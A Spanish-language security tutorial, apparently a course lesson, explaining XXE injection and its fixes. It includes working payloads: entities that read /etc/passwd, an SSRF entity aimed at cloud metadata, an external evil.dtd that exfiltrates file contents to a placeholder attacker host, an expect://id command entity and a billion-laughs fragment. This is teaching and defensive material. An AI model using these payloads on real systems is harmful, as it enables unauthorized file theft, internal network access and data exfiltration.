XXE y ataques XML: OOB exfiltration, SSRF vía DTD y blind XXE
· 11 min de lectura
Aprende qué es una inyección XXE, cómo un parser XML resuelve entidades externas para leer archivos y hacer SSRF, cómo funciona la exfiltración OOB con DTD externo y blind XXE, y cómo se corrige desactivando entidades externas.
XML sigue siendo uno de los formatos más usados en la infraestructura web. Servicios SOAP, procesadores de documentos Office (DOCX, XLSX), feeds RSS, respuestas de APIs legacy, configuraciones de servidores y hasta imágenes SVG son XML por dentro. Y el estándar XML incluye una funcionalidad que parecía buena idea en los noventa: las entidades externas, referencias que le dicen al parser «ve a buscar este contenido a otro sitio y pégalo aquí».
Cuando una aplicación recibe XML del usuario y lo parsea sin desactivar esa funcionalidad, el atacante puede definir entidades que leen archivos del servidor, hacen peticiones HTTP a la red interna o, en ciertos casos, ejecutan código. Eso es un XXE (XML External Entity injection): una vulnerabilidad tan conocida que en 2017 tuvo su propia categoría en el OWASP Top 10 (A4).
Es la decimotercera lección de la Tanda 9. Verás la mecánica de las entidades externas, los tipos de XXE (clásico, ciego y OOB), cómo se explotan paso a paso y cómo se corrigen desactivando una sola opción del parser.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Explotar un XXE en un servidor ajeno sin permiso es un delito.
Qué es una inyección XXE#
En XML, una entidad es un atajo que se define una vez y se usa en el documento con &nombre;. Las entidades pueden ser internas (el valor está en el propio documento) o externas (el valor viene de una URL o de un archivo). Se declaran en un DTD (Document Type Definition) al principio del documento:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY nombre "valor interno">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
Cuando el parser procesa este documento, sustituye &xxe; por el contenido del archivo /etc/passwd. Si la aplicación devuelve el XML procesado en la respuesta, el atacante ve el contenido del archivo. La clave es que el DTD lo envía el cliente, y el parser lo acepta por defecto en la mayoría de los lenguajes.
Además de file://, la palabra clave SYSTEM acepta http:// y https://, lo que convierte el XXE en un SSRF: el parser hace una petición HTTP al destino que el atacante indique.
Por qué ocurre: la causa raíz#
Cualquier código que parsea XML con la configuración por defecto suele ser vulnerable. En PHP:
$xml = file_get_contents("php://input");
$doc = new DOMDocument();
$doc->loadXML($xml); // Entidades externas activas por defecto en versiones antiguas
echo $doc->textContent;
En Java, el patrón más peligroso usa DocumentBuilderFactory sin configurar:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Sin desactivar entidades externas
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput)));
En Python con lxml, el parser por defecto también resuelve entidades:
from lxml import etree
tree = etree.fromstring(xml_input) # Vulnerable si resolve_entities=True
La causa raíz es siempre la misma: el parser XML acepta DTDs del cliente y resuelve entidades externas por defecto. La solución es desactivar esa funcionalidad, que casi ninguna aplicación necesita.
Tipos de XXE#
| Tipo | Qué ocurre | Cómo se confirma |
|---|---|---|
| XXE clásico | El contenido del archivo aparece en la respuesta | Leyendo la respuesta directamente |
| XXE ciega (blind) | La aplicación procesa el XML pero no devuelve el contenido | Con una petición saliente a un servidor que controlas |
| XXE OOB (out-of-band) | Se usa un DTD externo con entidades parámetro para exfiltrar datos | Recibiendo los datos en tu servidor a través de una petición HTTP |
| XXE por error | El contenido del archivo aparece en un mensaje de error | Provocando un error que incluya el valor de la entidad |
| XXE a SSRF | La entidad apunta a un servicio HTTP interno | Confirmando acceso a servicios internos o metadatos cloud |
XXE clásico#
Es el caso más directo: la aplicación devuelve el XML procesado en la respuesta, y el contenido del archivo o la URL aparece visible:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user><name>&xxe;</name></user>
Si la respuesta muestra el hostname del servidor en el campo name, el XXE funciona.
XXE a SSRF#
Cambiando file:// por http://, el parser hace una petición HTTP:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
Esto convierte un XXE en un SSRF completo, con la diferencia de que la petición la hace el parser XML en vez de una función de la aplicación.
Dónde aparece#
- APIs que aceptan XML: endpoints REST que soportan
Content-Type: application/xmlademás de JSON. - Servicios SOAP: todo SOAP es XML, y muchos servicios legacy no desactivan entidades externas.
- Subida de archivos: formatos SVG, DOCX, XLSX, PPTX y ODT son XML empaquetado en ZIP. Si el servidor descomprime y parsea el XML interno, un archivo Office malicioso puede contener un XXE.
- Feeds RSS y Atom: agregadores que parsean feeds de fuentes externas.
- SAML: el flujo de autenticación SAML usa XML firmado. Un parser vulnerable en el IdP o en el SP puede ser explotado.
- Generadores de PDF: si aceptan HTML o SVG, pueden parsear XML con entidades.
- Configuraciones XML: archivos de configuración que la aplicación importa desde el usuario.
Cómo se detecta#
Pruebas manuales#
- Identifica un endpoint que acepta XML. Si solo ves JSON, prueba cambiando
Content-Type: application/jsonaContent-Type: application/xmly enviando XML equivalente. - Envía un XML con una entidad interna para confirmar que el parser la resuelve.
- Envía un XML con una entidad externa que apunte a una URL que controlas (tu servidor del laboratorio).
- Si la petición llega, el parser resuelve entidades externas.
- Prueba con
file:///etc/hostnamepara leer un archivo conocido.
| Prueba | Payload | Qué indica |
|---|---|---|
| Entidad interna | <!ENTITY test "hola"> y &test; | El parser procesa DTDs |
| Entidad externa HTTP | <!ENTITY xxe SYSTEM "http://IP_ATACANTE:8000/xxe"> | El parser resuelve entidades externas |
| Lectura de archivo | <!ENTITY xxe SYSTEM "file:///etc/hostname"> | XXE clásico confirmado |
| SSRF interno | <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/"> | XXE a SSRF |
Herramientas#
- Burp Suite Repeater: para iterar payloads XML rápidamente.
- Burp Collaborator / Interactsh: para confirmar XXE ciega con peticiones salientes.
- XXEinjector: herramienta de línea de comandos que automatiza la explotación de XXE, incluyendo OOB.
- Revisión de código: busca llamadas a parsers XML (
DOMDocument,DocumentBuilderFactory,etree.fromstring,SAXParser) sin la configuración de seguridad.
Explotación paso a paso en un laboratorio#
Escenario típico similar a los laboratorios THE READER y JANUS.
Paso 1: identificar el endpoint XML#
La aplicación tiene una API que acepta XML para procesar datos del usuario:
POST /api/import HTTP/1.1
Host: IP_DEL_LAB
Content-Type: application/xml
<?xml version="1.0"?>
<user><name>test</name><email>[email protected]</email></user>
La respuesta confirma que parsea el XML: {"mensaje": "Usuario test importado"}.
Paso 2: probar entidad interna#
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY test "entidad-funciona">
]>
<user><name>&test;</name><email>[email protected]</email></user>
Si la respuesta dice Usuario entidad-funciona importado, el parser procesa el DTD.
Paso 3: lectura de archivos#
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name><email>[email protected]</email></user>
Si el contenido de /etc/passwd aparece en la respuesta, el XXE clásico está confirmado.
Paso 4: SSRF vía XXE#
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<user><name>&xxe;</name><email>[email protected]</email></user>
Si la respuesta muestra contenido de un servicio interno, el XXE funciona como SSRF.
XXE ciega con exfiltración OOB#
Cuando la aplicación no devuelve el contenido de la entidad en la respuesta, necesitas una técnica fuera de banda (OOB). El proceso usa entidades parámetro (se declaran con % y se usan dentro del DTD):
Paso 1: preparar el DTD malicioso en tu servidor#
Crea un archivo evil.dtd en tu máquina de ataque:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://IP_ATACANTE:8000/?data=%file;'>">
%eval;
%exfil;
Paso 2: levantar un servidor HTTP#
python3 -m http.server 8000
Paso 3: enviar el XML con referencia al DTD externo#
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://IP_ATACANTE:8000/evil.dtd">
%xxe;
]>
<user><name>test</name></user>
El parser descarga evil.dtd, resuelve las entidades parámetro, lee /etc/hostname y envía su contenido como parámetro en una petición HTTP a tu servidor. En tu terminal verás:
GET /?data=web-server-01 HTTP/1.1
El contenido del archivo aparece en la URL de la petición, aunque la aplicación no lo muestre en su respuesta.
Qué puede lograr un atacante#
| Impacto | Ejemplo |
|---|---|
| Lectura de archivos del servidor | /etc/passwd, /etc/shadow, archivos de configuración con credenciales |
| SSRF a la red interna | Acceder a servicios internos, metadatos cloud, paneles de administración |
| Denegación de servicio | Billion laughs attack: entidades que se expanden exponencialmente |
| Ejecución de código (raro) | En PHP con expect:// habilitado o en parsers con funcionalidades extendidas |
| Escaneo de puertos internos | Comparar errores y tiempos entre puertos abiertos y cerrados |
| Exfiltración de código fuente | Leer archivos PHP, Python o Java del servidor para encontrar más vulnerabilidades |
Cómo se corrige#

La defensa más efectiva es desactivar las entidades externas y los DTDs en el parser. Es un cambio de configuración, no de código.
PHP#
// PHP 8.0+: entidades externas desactivadas por defecto en libxml >= 2.9.0
// Para versiones anteriores:
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// Mejor aún: no usar LIBXML_NOENT ni LIBXML_DTDLOAD
$doc->loadXML($xml);
Java#
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Python#
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(xml_input, parser=parser)
# Con defusedxml (recomendado):
import defusedxml.ElementTree as ET
tree = ET.fromstring(xml_input) # Seguro por defecto
Migrar a JSON#
Si la API no necesita XML, acepta solo JSON. Sin parser XML, no hay XXE. Si debes aceptar ambos, valida el Content-Type y usa un parser seguro para cada formato.
Errores comunes al defenderse#
- Pensar que la versión del lenguaje ya está protegida. PHP con libxml >= 2.9.0 desactiva la carga de entidades externas por defecto, pero
LIBXML_NOENTla reactiva, y muchos tutoriales lo incluyen. - Proteger el parser principal pero no los secundarios. Si la aplicación parsea SVG con un parser distinto al de la API, cada parser necesita su propia configuración.
- Filtrar con regex en vez de configurar el parser. Un filtro que busca
DOCTYPEoENTITYse puede saltar con codificación UTF-7, UTF-16 o con saltos de línea. - Olvidar que DOCX y XLSX son XML. Si la aplicación importa archivos Office, debe desactivar entidades externas en el parser que procesa el XML interno del ZIP.
- No probar después de actualizar librerías. Una actualización puede cambiar los valores por defecto del parser y reactivar funcionalidades que estaban desactivadas.
Preguntas frecuentes#
¿El XXE sigue siendo relevante con APIs JSON modernas?#
Sí. Muchos frameworks aceptan XML aunque la documentación de la API solo mencione JSON. Basta con cambiar el Content-Type a application/xml y enviar XML. Además, cualquier funcionalidad que procese archivos Office, SVG, RSS o SAML usa XML.
¿Qué es el billion laughs attack?#
Es un ataque de denegación de servicio que define entidades que se referencian entre sí de forma exponencial. Cada nivel multiplica el tamaño por un factor, y el parser intenta expandirlas todas en memoria, consumiendo gigabytes de RAM:
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
¿Se puede ejecutar código con un XXE?#
En la mayoría de los casos no, pero en PHP, si el wrapper expect:// está habilitado (extensión php_expect), se puede ejecutar un comando con <!ENTITY xxe SYSTEM "expect://id">. Es raro en producción, pero posible.
¿Cómo sé si el parser resuelve entidades externas?#
La prueba más fiable es definir una entidad que apunte a una URL que controlas (tu servidor del laboratorio) y ver si llega la petición. Si llega, el parser resuelve entidades externas.
¿Un WAF protege contra XXE?#
Un WAF puede bloquear payloads conocidos, pero no es una solución completa. Los payloads XXE se pueden codificar, ofuscar o enviar dentro de archivos (SVG, DOCX) que el WAF no inspecciona. La defensa real es configurar el parser.
Resumen#
- Un XXE (XML External Entity injection) ocurre cuando el parser XML resuelve entidades externas definidas en un DTD que envía el cliente.
- Permite leer archivos del servidor (file://), hacer SSRF (http://) y, con la técnica OOB, exfiltrar datos aunque la aplicación no los muestre en la respuesta.
- Formatos como SVG, DOCX, XLSX, RSS, SOAP y SAML son XML y pueden contener payloads XXE.
- Se corrige desactivando entidades externas y DTDs en el parser (una línea de configuración) o migrando a JSON.
- La librería
defusedxmlen Python y las features deDocumentBuilderFactoryen Java son las defensas estándar.